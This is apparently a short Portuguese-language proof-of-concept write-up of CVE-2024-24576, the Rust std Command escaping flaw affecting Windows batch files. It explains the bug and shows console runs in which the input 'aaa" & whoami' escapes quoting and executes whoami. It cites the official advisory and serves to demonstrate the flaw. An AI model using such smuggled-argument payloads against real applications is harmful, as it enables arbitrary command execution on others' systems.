
Example of CVE-2024-24576 use case.
As APIs Command::arg e Command::args declaram em sua documentação que os argumentos serão passados ao processo criado como estão, independentemente do conteúdo dos argumentos, e não serão avaliados por um shell. Isso significa que deve ser seguro passar entrada não confiável como argumento.
No Windows, a implementação disso é mais complexa do que em outras plataformas, porque a API do Windows fornece apenas uma única string contendo todos os argumentos para o processo criado, e cabe ao processo criado dividi-los. A maioria dos programas usa a argv padrão da C run-time, o que na prática resulta em uma maneira majoritariamente consistente de como os argumentos são divididos.
Uma exceção, no entanto, é o cmd.exe (usado, entre outras coisas, para executar arquivos batch), que possui sua própria lógica de divisão de argumentos. Isso força a biblioteca padrão a implementar a fuga personalizada para argumentos passados para arquivos batch. Infelizmente, foi reportado que nossa lógica de fuga não era suficientemente completa, e era possível passar argumentos maliciosos que resultariam em execução arbitrária de shell.
Executando o arquivo main.rs com os seguintes payloads resulta em
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
Observe o argumento escapado com o " whoami
NÃO É UMA DESCOBERTA MINHA!
Fontes: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/